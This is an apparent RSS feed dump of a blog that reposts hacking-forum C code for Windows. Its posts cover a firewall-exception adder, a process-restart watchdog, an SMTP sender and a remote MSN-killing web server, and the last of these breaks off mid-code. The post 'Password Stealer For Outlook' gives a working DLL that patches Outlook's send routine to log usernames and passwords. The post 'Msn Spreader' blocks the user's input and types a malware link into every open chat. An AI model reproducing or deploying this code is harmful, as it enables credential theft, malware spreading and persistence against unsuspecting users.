GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73036.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73036.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73036.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73036.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73036.html</trackback:ping><description><![CDATA[<p><font color=#ff7f00>Here's a quick program i wrote the other day, you can use it as you wish. It will simple add your program to the WinXP firewall exception list.</font><br><br><a href="http://www.rohitab.com/discuss/topic/13561-add-to-windows-xp-firewall/">http://www.rohitab.com/discuss/topic/13561-add-to-windows-xp-firewall/</a>&nbsp;<br><br>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;</p>
<p>int AddToWindowsFirewall(char *displayname,char * exepath);</p>
<p>int main()<br>{<br>&nbsp;char dspname[MAX_PATH] = "";<br>&nbsp;char exepath[MAX_PATH] = "";</p>
<p>&nbsp;printf("Add To WinXP SP2 Firewall Exeception List\nBy Smith\n\n");</p>
<p>&nbsp;printf("Enter display name: ");<br>&nbsp;gets(dspname);</p>
<p>&nbsp;printf("Enter exe path: ");<br>&nbsp;gets(exepath);</p>
<p>&nbsp;if(AddToWindowsFirewall(dspname,exepath))<br>&nbsp;{<br>&nbsp;&nbsp;printf("Success!\n");<br>&nbsp;}else{<br>&nbsp;&nbsp;printf("Failure!\n");<br>&nbsp;}<br>&nbsp;return 0;<br>}</p>
<p>int AddToWindowsFirewall(char *displayname,char * exepath)<br>{<br>&nbsp;HKEY hKey;<br>&nbsp;<br>&nbsp;char filedata[MAX_PATH] = "";</p>
<p>&nbsp;wsprintf(filedata,"%s:*:Enabled:%s",exepath,displayname);</p>
<p>&nbsp;if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",0,KEY_ALL_ACCESS,&amp;hKey)) return 0;<br>&nbsp;if(RegSetValueEx(hKey,exepath,0,REG_SZ,(unsigned char*)filedata,sizeof(filedata))) return 0;<br>&nbsp;<br>&nbsp;RegCloseKey(hKey);</p>
<p>&nbsp;return 1;//Success<br>}</p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73036.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 23:19 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73036.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Restart Process after user kills it </title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73035.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 15:08:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73035.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73035.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73035.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73035.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73035.html</trackback:ping><description><![CDATA[<a href="http://www.rohitab.com/discuss/topic/18490-restart-process-after-user-kills-it/">http://www.rohitab.com/discuss/topic/18490-restart-process-after-user-kills-it/</a><br>Hey,<br><br>I don't know if this is already on the forum somewhere, i'm sure it is, but i didn't have the time to read it all yet <img class=bbc_emoticon alt=:) src="http://www.rohitab.com/discuss/public/style_emoticons/default/smile.gif"><br><br>I made a small function that checks if a process is running, and it can be used to restart the process if the users kills it. If you do it right you can make 2 apps that keep checking for each others existence and restart eachother if needed. (or 3 or 4 or ... <img class=bbc_emoticon alt=:) src="http://www.rohitab.com/discuss/public/style_emoticons/default/smile.gif"> ). <br><br>Here it is, it wont run on windows NT based systems. It did run on my XP. You will need to link against Kernel32.lib (or dev cpp equivalent) by the way.<br><br><br>
<pre class="codemain brush:c;">#include &lt;windows.h&gt;
#include &lt;stdio.h&gt;
#include &lt;tlhelp32.h&gt;
bool procIsActive(char* exeName)
{
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == INVALID_HANDLE_VALUE) return false;
PROCESSENTRY32 procEntry;
procEntry.dwSize = sizeof(PROCESSENTRY32);
BOOL flag = Process32First(hSnapShot, &amp;procEntry);
while (flag)
{
if (!stricmp(procEntry.szExeFile,exeName)) return true;
flag = Process32Next(hSnapShot, &amp;procEntry);
}
return false;
}
int main()
{
while (true){
if (!procIsActive("notepad.exe")) {
system("notepad.exe");
Sleep(1000);
}
Sleep(1);
}
return 0;
}</pre>
<!--ec2--><br><br>
<img src ="http://www.cnitblog.com/houcy/aggbug/73035.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 23:08 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73035.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Password Stealer For Outlook </title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73034.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 14:49:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73034.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73034.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73034.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73034.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73034.html</trackback:ping><description><![CDATA[<p><a href="http://www.rohitab.com/discuss/topic/23924-password-stealer-for-outlook/">http://www.rohitab.com/discuss/topic/23924-password-stealer-for-outlook/</a><br>simply inject this dll into outlook and see for yourselfs what happens. This code is 100% my own.(tested on outlook 2003 only) <img class=bbc_emoticon alt=:P src="http://www.rohitab.com/discuss/public/style_emoticons/default/tongue.gif"> <br><br><br>/*copyright Joek */</p>
<p>#include &lt;windows.h&gt;<br>#include &lt;Psapi.h&gt;</p>
<p>HANDLE hThreadDllMain;</p>
<p>DWORD WINAPI ExitThread(LPVOID lpParameter){<br>&nbsp;&nbsp; WaitForSingleObject(hThreadDllMain, INFINITE);<br>&nbsp;&nbsp; FreeLibraryAndExitThread((HMODULE)lpParameter,0);}</p>
<p><br>int PASCAL mysend(SOCKET s,const char* buf,int len,int flags){<br>&nbsp;&nbsp;&nbsp; if (((strstr(buf,"USER")) == buf) || (strstr(buf,"PASS")) == buf){&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; HANDLE hFile = CreateFile("C:\\log.txt",GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIB<br>UTE_NORMAL,NULL);<br>&nbsp;&nbsp;&nbsp; if(hFile != INVALID_HANDLE_VALUE){<br>&nbsp;&nbsp;&nbsp;&nbsp;SetFilePointer(hFile,0,NULL,FILE_END);<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD dwBytesWritten;<br>&nbsp;&nbsp;&nbsp;&nbsp;WriteFile(hFile,buf,len,&amp;dwBytesWritten,NULL);<br>&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(hFile);}}<br>&nbsp;&nbsp;&nbsp; return send(s,buf,len,flags);}&nbsp;&nbsp;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>extern "C" BOOL APIENTRY DllMain (HINSTANCE hInst,DWORD reason,LPVOID reserved)<br>{<br>switch (reason)<br>{<br>case DLL_PROCESS_ATTACH:<br>char szBaseName[MAX_PATH]; <br>GetModuleBaseName(GetCurrentProcess(),NULL,szBaseName,sizeof(szBaseName));<br>if((lstrcmpi(szBaseName,"OUTLOOK.EXE") == 0) || (lstrcmpi(szBaseName,"msimn.exe") == 0)){ <br>BYTE *pByte = ((BYTE*)LoadLibrary("inetcomm.dll") + 0x106D5);<br>if(pByte != (BYTE*)0x106D5)<br>{<br>DWORD dwOld;<br>if(VirtualProtect(pByte,6,PAGE_EXECUTE_READWRITE,&amp;dwOld)){<br>*pByte = 0xE8;<br>*(DWORD*)(pByte + 1) = (DWORD)mysend - ((DWORD)pByte+5);<br>*(pByte + 5) = 0x90;<br>VirtualProtect(pByte,6,dwOld,&amp;dwOld);}}}<br>else{<br>&nbsp; DWORD dwThreadId;<br>&nbsp; DuplicateHandle(GetCurrentProcess(),GetCurrentThread(),GetCurrentProcess(),&amp;hThreadDllMain,0,FALSE,0);<br>&nbsp; CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ExitThread,(LPVOID)hInst,0,&amp;dwThreadId);}<br>break;<br>}<br>return TRUE;<br>}</p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73034.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 22:49 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73034.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> smtp mail sender</title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73033.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 14:37:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73033.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73033.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73033.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73033.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73033.html</trackback:ping><description><![CDATA[<p><br><br>#include &lt;windows.h&gt;</p>
<p>int main(void)<br>{<br>&nbsp;int message_length;<br>&nbsp;char message[100]="this is a test message";<br>&nbsp;char buffer[100]; <br>&nbsp;&nbsp;&nbsp;<br>&nbsp;SOCKET sockfd;WSADATA wsaData;<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;struct sockaddr_in dest_addr;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;WSAStartup(MAKEWORD(2, 0),&amp;wsaData);&nbsp;&nbsp; <br>&nbsp;sockfd=socket(AF_INET,SOCK_STREAM,0);<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;dest_addr.sin_family=AF_INET;<br>&nbsp;dest_addr.sin_port=htons(25);<br>&nbsp;dest_addr.sin_addr.s_addr=inet_addr("192.168.1.1");&nbsp;&nbsp;&nbsp; <br>&nbsp;connect(sockfd, (struct sockaddr *)&amp;dest_addr,sizeof(dest_addr));&nbsp;&nbsp; </p>
<p>&nbsp;strcpy(buffer,"HELO abc.com\n");&nbsp;&nbsp;<br>&nbsp;send(sockfd, buffer, (strlen(buffer)), 0);&nbsp; <br>&nbsp;recv(sockfd, buffer, (strlen(buffer)), 0);<br>&nbsp;sleep(500);&nbsp;<br>&nbsp;&nbsp; <br>&nbsp;strcpy(buffer,"MAIL FROM:&lt;<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#97;&#98;&#99;&#64;&#121;&#97;&#104;&#111;&#111;&#46;&#99;&#111;&#109;&#37;&#51;&#69;&#92;&#110;">abc@yahoo.com&gt;\n</a>");<br>&nbsp;send(sockfd, buffer, (strlen(buffer)), 0);<br>&nbsp;recv(sockfd, buffer, (strlen(buffer)), 0);<br>&nbsp;sleep(500);<br>&nbsp;&nbsp; <br>&nbsp;strcpy(buffer,"RCPT TO:&lt;<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#97;&#98;&#99;&#64;&#122;&#121;&#122;&#46;&#99;&#111;&#109;&#37;&#51;&#69;&#92;&#110;">abc@zyz.com&gt;\n</a>");&nbsp;&nbsp;&nbsp; <br>&nbsp;send(sockfd, buffer, (strlen(buffer)), 0);<br>&nbsp;recv(sockfd, buffer, (strlen(buffer)), 0);<br>&nbsp;sleep(500);<br>&nbsp; <br>&nbsp;strcpy(buffer,"DATA\n");&nbsp; <br>&nbsp;send(sockfd, buffer, (strlen(buffer)), 0);<br>&nbsp;recv(sockfd, buffer, (strlen(buffer)), 0);<br>&nbsp;sleep(500);<br>&nbsp;&nbsp; <br>&nbsp;strcpy(buffer,"To:abc@zyz.com\n"); <br>&nbsp;strcat(buffer,"From:abc@yahoo.com\n");&nbsp; <br>&nbsp;strcat(buffer,"Subject:test mail\n");<br>&nbsp;send(sockfd, buffer, (strlen(buffer)), 0);<br>&nbsp;<br>&nbsp;memset(&amp;buffer, 0, sizeof(buffer));<br>&nbsp;strcat(buffer,message);<br>&nbsp;strcat(buffer,"\n.\n");<br>&nbsp;send(sockfd, buffer, (strlen(buffer)), 0);<br>&nbsp;recv(sockfd, buffer, (strlen(buffer)), 0);<br>&nbsp;sleep(500);<br>&nbsp;&nbsp; <br>&nbsp;strcpy(buffer,"QUIT\n");&nbsp; <br>&nbsp;send(sockfd, buffer, (strlen(buffer)), 0);<br>&nbsp;recv(sockfd, buffer, (strlen(buffer)), 0);<br>&nbsp;sleep(500);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;<br>&nbsp;closesocket(sockfd);<br>&nbsp;WSACleanup();<br>&nbsp;<br>&nbsp;return (0);<br>}</p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73033.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 22:37 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73033.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Msn Spreader </title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73032.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 14:34:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73032.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73032.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73032.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73032.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73032.html</trackback:ping><description><![CDATA[<p><a href="http://www.rohitab.com/discuss/topic/27154-msn-spreader/">http://www.rohitab.com/discuss/topic/27154-msn-spreader/</a><br>Posts a message that's in 'Message' to all the contats you are talking to over msn.<br>That's the thing:<br><!--c1--><br>#include &lt;windows.h&gt;</p>
<p>char *Message = "<a href="http://www.fuckup.de/evilvirus.exe">http://www.fuckup.de/evilvirus.exe</a>";</p>
<p>int WINAPI wep(HWND hwnd,LPARAM lparam)<br>{<br>&nbsp;&nbsp; <br>&nbsp;&nbsp; char text[128],cname[128];<br>&nbsp;&nbsp; HWND child;<br>&nbsp;&nbsp; <br>&nbsp;&nbsp; if(!GetClassName(hwnd,cname,sizeof cname))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;</p>
<p>&nbsp;&nbsp; if(!strcmp(cname,"IMWindowClass")) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;child = FindWindowExA(hwnd,0,"DirectUIHWND",0);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetForegroundWindow(hwnd); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sleep(500);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BlockInput(1);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(int x=0;x&lt;strlen(Message);x++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PostMessageA(child,WM_CHAR,Message[x],0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PostMessage(child, WM_KEYDOWN, VK_RETURN, 0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PostMessage(child, WM_KEYUP, VK_RETURN, 0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PostMessage(child, WM_KEYDOWN, VK_RETURN, 0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PostMessage(child, WM_KEYUP, VK_RETURN, 0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BlockInput(0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sleep(200);</p>
<p>&nbsp;&nbsp; }<br>}</p>
<p>int main()<br>{<br>&nbsp;EnumWindows(wep,0);<br>}</p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73032.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 22:34 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73032.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Http Msn Kill Hackjob of the century </title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73031.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 14:19:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73031.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73031.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73031.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73031.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73031.html</trackback:ping><description><![CDATA[<p><a href="http://www.rohitab.com/discuss/topic/29556-http-msn-kill/">http://www.rohitab.com/discuss/topic/29556-http-msn-kill/</a><br>Don't you hate it when you go to your friends house or something, and you forgot to sign out of msn?<br>With this hackjob of the century, all you need to do is navigate to your IP [or dns w/e] to a configured port<br>e.g jarhead.cppkrew.com:1337 and click the kill button yo.<br><br><br><br>#include &lt;windows.h&gt;<br>#include &lt;winsock2.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;tlhelp32.h&gt;<br>#include &lt;time.h&gt; //just to get warnings down...<br>#define SERVER_VER "Remote MSN Kill"<br>#define sprintfc(string, ...) sprintf(string+strlen(string), ##__VA_ARGS__)</p>
<p>// for thread saftey<br>char *strtok_r (char *s, const char *delim, char **save_ptr) {<br>&nbsp;char *token;</p>
<p>&nbsp;if (s == NULL)<br>&nbsp;&nbsp;s = *save_ptr;</p>
<p>&nbsp;/* Scan leading delimiters.&nbsp; */<br>&nbsp;s += strspn (s, delim);<br>&nbsp;if (*s == '') {<br>&nbsp;&nbsp;*save_ptr = s;<br>&nbsp;&nbsp;return NULL;<br>&nbsp;}</p>
<p>&nbsp;/* Find the end of the token.&nbsp; */<br>&nbsp;token = s;<br>&nbsp;s = strpbrk (token, delim);<br>&nbsp;if (s == NULL)<br>&nbsp;&nbsp;/* This token finishes the string.&nbsp; */<br>&nbsp;&nbsp;*save_ptr = strchr (token, '');<br>&nbsp;else {<br>&nbsp;&nbsp;/* Terminate the token and make *SAVE_PTR point past it.&nbsp; */<br>&nbsp;&nbsp;*s = '';<br>&nbsp;&nbsp;*save_ptr = s + 1;<br>&nbsp;}<br>&nbsp;return token;<br>}</p>
<p>/* x2c() and unescape_url()... stolen code */<br>char x2c(char *what) {<br>&nbsp;register char digit;</p>
<p>&nbsp;digit = (what[0] &gt;= 'A' ? ((what[0] &amp; 0xdf) - 'A')+10 : (what[0] - '0'));<br>&nbsp;digit *= 16;<br>&nbsp;digit += (what[1] &gt;= 'A' ? ((what[1] &amp; 0xdf) - 'A')+10 : (what[1] - '0'));<br>&nbsp;return(digit);<br>}</p>
<p>// duh<br>void unescape_url(char *url) {<br>&nbsp;register int x,y;</p>
<p>&nbsp;for (x=0,y=0; url[y]; ++x,++y) {<br>&nbsp;&nbsp;if ((url[x] = url[y]) == '%') {<br>&nbsp;&nbsp;&nbsp;url[x] = x2c(&amp;url[y+1]);<br>&nbsp;&nbsp;&nbsp;y+=2;<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;url[x] = '';<br>}</p>
<p>int killProc(char *szProcName)<br>{<br>&nbsp;PROCESSENTRY32 pEntry = {sizeof(PROCESSENTRY32)};<br>&nbsp;HANDLE hProc=NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp; hSs=NULL;<br>&nbsp;int ret=0;<br>&nbsp;<br>&nbsp;hSs = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);<br>&nbsp;if (hSs) {<br>&nbsp;&nbsp;&nbsp; if (Process32First(hSs, &amp;pEntry)) {<br>&nbsp;&nbsp;&nbsp; while (Process32Next(hSs, &amp;pEntry)) {<br>&nbsp;&nbsp;&nbsp;&nbsp; if (!stricmp(szProcName, pEntry.szExeFile)) {<br>&nbsp;&nbsp;&nbsp;&nbsp; hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pEntry.th32ProcessID);<br>&nbsp;&nbsp;&nbsp;&nbsp; if (hProc) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (TerminateProcess(hProc, 0)) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret++;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(hProc);<br>&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; } else ret=0;<br>&nbsp;&nbsp;&nbsp; CloseHandle(hSs);<br>&nbsp;} else ret=0;</p>
<p>&nbsp;return ret;<br>}</p>
<p><br>// makes a listening socket<br>SOCKET SetUpListener(LPCSTR where, SHORT port) {<br>&nbsp;SOCKET s;<br>&nbsp;struct sockaddr_in sin_interface;<br>&nbsp;DWORD if_addr = inet_addr(where); // where are we lisrening?</p>
<p>&nbsp;if (if_addr != INADDR_NONE) { // if we're not lisrening anywhere, give up<br>&nbsp;&nbsp;// otherwise, make a socket<br>&nbsp;&nbsp;s = socket(AF_INET, SOCK_STREAM, 0);<br>&nbsp;&nbsp;if (s != INVALID_SOCKET) {<br>&nbsp;&nbsp;&nbsp;// set up a sockaddr_in so we can bind<br>&nbsp;&nbsp;&nbsp;sin_interface.sin_family = AF_INET;<br>&nbsp;&nbsp;&nbsp;sin_interface.sin_addr.s_addr = if_addr;<br>&nbsp;&nbsp;&nbsp;sin_interface.sin_port = htons(port);</p>
<p>&nbsp;&nbsp;&nbsp;// bind !!! for great justice<br>&nbsp;&nbsp;&nbsp;if (bind(s, (struct sockaddr*)&amp;sin_interface,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sizeof(struct sockaddr_in)) != SOCKET_ERROR) {<br>&nbsp;&nbsp;&nbsp;&nbsp;listen(s, 1);<br>&nbsp;&nbsp;&nbsp;&nbsp;return s;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}</p>
<p>&nbsp;// if we get here, shit fucked up<br>&nbsp;return INVALID_SOCKET;<br>}</p>
<p>&nbsp;</p>
<p><br>// builds a HTTP header<br>void BuildHeader(char * buf, int code, char * msg) {<br>&nbsp;char * time_buf;<br>&nbsp;time_t now;</p>
<p>&nbsp;time_buf = malloc(256);<br>&nbsp;now = time(NULL);<br>&nbsp;strftime(time_buf, 256, "%a, %d %b %Y %H:%M:%S %Z", gmtime(&amp;now));</p>
<p>&nbsp;sprintf(buf, "HTTP/1.1 %d %s\r\n", code, msg);<br>&nbsp;sprintfc(buf, "Date: %s\r\n", time_buf);<br>&nbsp;sprintfc(buf, "Server: %s\r\n", SERVER_VER);<br>&nbsp;sprintfc(buf, "Connection: close\r\n");</p>
<p>&nbsp;free(time_buf);<br>}</p>
<p>// makes a stupid error page<br>void SendErrorPage(SOCKET s, int error, char * message) {<br>&nbsp;char * message_buf;</p>
<p>&nbsp;message_buf = malloc(1024);</p>
<p>&nbsp;BuildHeader(message_buf, error, message);</p>
<p>&nbsp;sprintfc(message_buf, "Content-type: text/plain\r\n\r\n");<br>&nbsp;sprintfc(message_buf, "Error %d: %s\r\n\r\n", error, message);</p>
<p>&nbsp;send(s, message_buf, strlen(message_buf), 0);</p>
<p>&nbsp;free(message_buf);<br>}</p>
<p>DWORD ServeWeb(SOCKET * sp) {<br>&nbsp;SOCKET s = *sp;<br>&nbsp;char *uri, *client_buf, *strtok_tmp;<br>&nbsp;char *server_buf,*request,*method,*http_ver,*token;<br>&nbsp;char * listing;<br>&nbsp;int x;<br>&nbsp; <br>&nbsp;client_buf = malloc(1024); // 1k is enough<br>&nbsp;memset(client_buf, 0, 1024);</p>
<p><br>&nbsp;x = recv(s, client_buf, 1024, 0);</p>
<p>&nbsp;<br>&nbsp;if ((x == SOCKET_ERROR) || (x == 0)) {<br>&nbsp;&nbsp;printf("Something went wrong. error %d\n", WSAGetLastError());<br>&nbsp;&nbsp;free(client_buf);<br>&nbsp;&nbsp;closesocket(s);<br>&nbsp;&nbsp;return 0;<br>&nbsp;}</p>
<p>&nbsp;request = strtok_r(client_buf, "\r\n", &amp;strtok_tmp);</p>
<p><br>&nbsp;method = strtok_r(request, " ", &amp;strtok_tmp);</p>
<p>&nbsp;if (method == NULL) {<br>&nbsp;<br>&nbsp;&nbsp;SendErrorPage(s, 400, "Bad Request");<br>&nbsp;&nbsp;free(client_buf);<br>&nbsp;&nbsp;closesocket(s);<br>&nbsp;}</p>
<p><br>&nbsp;if (strcmp(method, "GET") != 0 &amp;&amp; strcmp(method, "HEAD") != 0) {</p>
<p>&nbsp;&nbsp;SendErrorPage(s, 501, "Not Implemented");</p>
<p>&nbsp;&nbsp;free(client_buf);<br>&nbsp;&nbsp;closesocket(s);<br>&nbsp;}</p>
<p>&nbsp;uri = strtok_r(NULL, " ", &amp;strtok_tmp);<br>&nbsp;http_ver = strtok_r(NULL, " ", &amp;strtok_tmp);</p>
<p>&nbsp;if (uri == NULL || http_ver == NULL) {</p>
<p>&nbsp;&nbsp;SendErrorPage(s, 400, "Bad Request");<br>&nbsp;&nbsp;free(client_buf);<br>&nbsp;&nbsp;closesocket(s);<br>&nbsp;}</p>
<p>&nbsp;if (strncmp(http_ver, "HTTP/1.", 6) != 0) {</p>
<p>&nbsp;&nbsp;SendErrorPage(s, 505, "Invalid HTTP Version");<br>&nbsp;&nbsp;free(client_buf);<br>&nbsp;&nbsp;closesocket(s);<br>&nbsp;}</p>
<p>&nbsp;if (strcmp(uri, "/") == 0) {<br>&nbsp;&nbsp;// yay, menu page.<br>&nbsp;&nbsp;server_buf = malloc(1024);<br>&nbsp;&nbsp;BuildHeader(server_buf, 200, "OK");<br>&nbsp;&nbsp;send(s, server_buf, strlen(server_buf), 0);</p>
<p>&nbsp;&nbsp;listing = malloc(512);</p>
